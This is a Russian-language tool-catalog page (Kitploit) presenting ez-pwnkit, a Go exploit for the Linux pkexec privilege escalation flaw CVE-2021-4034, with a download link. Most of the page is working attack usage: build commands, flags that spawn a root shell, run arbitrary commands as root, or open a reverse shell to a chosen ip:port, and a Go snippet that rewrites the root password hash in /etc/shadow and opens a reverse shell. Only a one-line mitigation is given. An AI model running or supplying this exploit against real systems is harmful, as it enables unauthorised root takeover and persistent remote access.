Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
ez-pwnkit — Реализация на Go эксплойта PwnKit для локального повышения привилегий в Linux (CVE-2021-4034) | Kitploit
Инструменты/GitHubGitHub/oxdbxkxo/ez-pwnkit
Повышение привилегийФреймворки для эксплойтовАнализ уязвимостейЭксплуатацияРазработка Полезной Нагрузки
GitHuboxdbxkxo/ez-pwnkit

ez-pwnkit

Реализация на Go эксплойта PwnKit для локального повышения привилегий в Linux (CVE-2021-4034)

Репозиторий
9234 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

ez-pwnkit

Чистая реализация эксплойта CVE-2021-4034 PwnKit на Go.

Эксплойт использует syscall.ForkExec, чтобы пережить завершение основной программы.

Установка

root@kitploit:~
git clone https://github.com/OXDBXKXO/ez-pwnkit.git
cd ez-pwnkit
make

Поскольку эксплойт полагается на вредоносную разделяемую библиотеку, файл PWN.so генерируется из payload.go и встраивается в итоговый исполняемый файл exploit.

Makefile использует sed для временного изменения имени пакета файла payload.go на main, что делает этот Makefile пригодным только для Linux.

Поскольку Go-полезная нагрузка не так надёжна, как C-версия, Makefile по умолчанию компилирует эксплойт с C-полезной нагрузкой. Вы можете выбрать компиляцию с Go-полезной нагрузкой с помощью make build_go.

Использование

Как автономный исполняемый файл

root@kitploit:~
$> ./exploit -h
Usage of ./exploit:
  -c string
        Run command as root in separate process
  -o    Pipe output of forked command to terminal
  -r string
        Open a reverse-shell in separate process. Format: ip:port
  -s    Spawn a root shell

Эксплойт можно использовать либо с командой (-c), либо как reverse-shell (-r), либо для запуска root-оболочки (-s).

root@kitploit:~
$> ./exploit -s
sh-5.1#
root@kitploit:~
$> ./exploit -c "cat /etc/passwd"
root@kitploit:~
$> ./exploit -o -c "cat /etc/passwd"
[/etc/passwd content]

Как пакет

root@kitploit:~
package main

import (
    "github.com/OXDBXKXO/ez-pwnkit"
)

func main() {
    // Change root password to 'password'
    ez_pwnkit.Command(`sed -i -e 's,^root:[^:]\+:,root:$6$eymNRCK.KxwDM6vu$idH0swGW1nsnLb8fT1QibUho5xg7uGJT7fuiheLZHIi9M4gTSk0qIOlUIk2Mm9/Nz5C.T4GkgkmLcK5BtOPkS0:,' etc/shadow`, false)

    // Open a reverse-shell
	ez_pwnkit.RevShell("127.0.0.1:1337")
}

Обратите внимание: поскольку Command и RevShell используют syscall.ForkExec для запуска эксплойта, результирующие процессы отделены от основной программы и переживают её завершение.

Хотя go-PwnKit можно импортировать в ваш проект с Github, не забывайте, что вы будете выполнять недоверенную разделяемую библиотеку с правами root. Поэтому настоятельно рекомендуется использовать локально скомпилированный PWN.so. Просто к слову 😚

Демонстрация

root@kitploit:~
$> ./exploit
sh-5.1# id
uid=0(root) gid=0(root) groups=0(root)
sh-5.1#

Меры защиты

По возможности пропатчите pkexec, в противном случае снимите бит setuid с бинарного файла pkexec.

root@kitploit:~
chmod 0755 /usr/bin/pkexec

Благодарности

Этот проект вдохновлён несколькими другими PoC-эксплойтами для уязвимости PwnKit.

Спасибо An00bRektn за простую настройку эксплойта.

Спасибо PaterGottesman и berdav за понятное объяснение эксплойта.

Спасибо dzonerzy за трюк с GIO_USE_VFS.

Скачать инструмент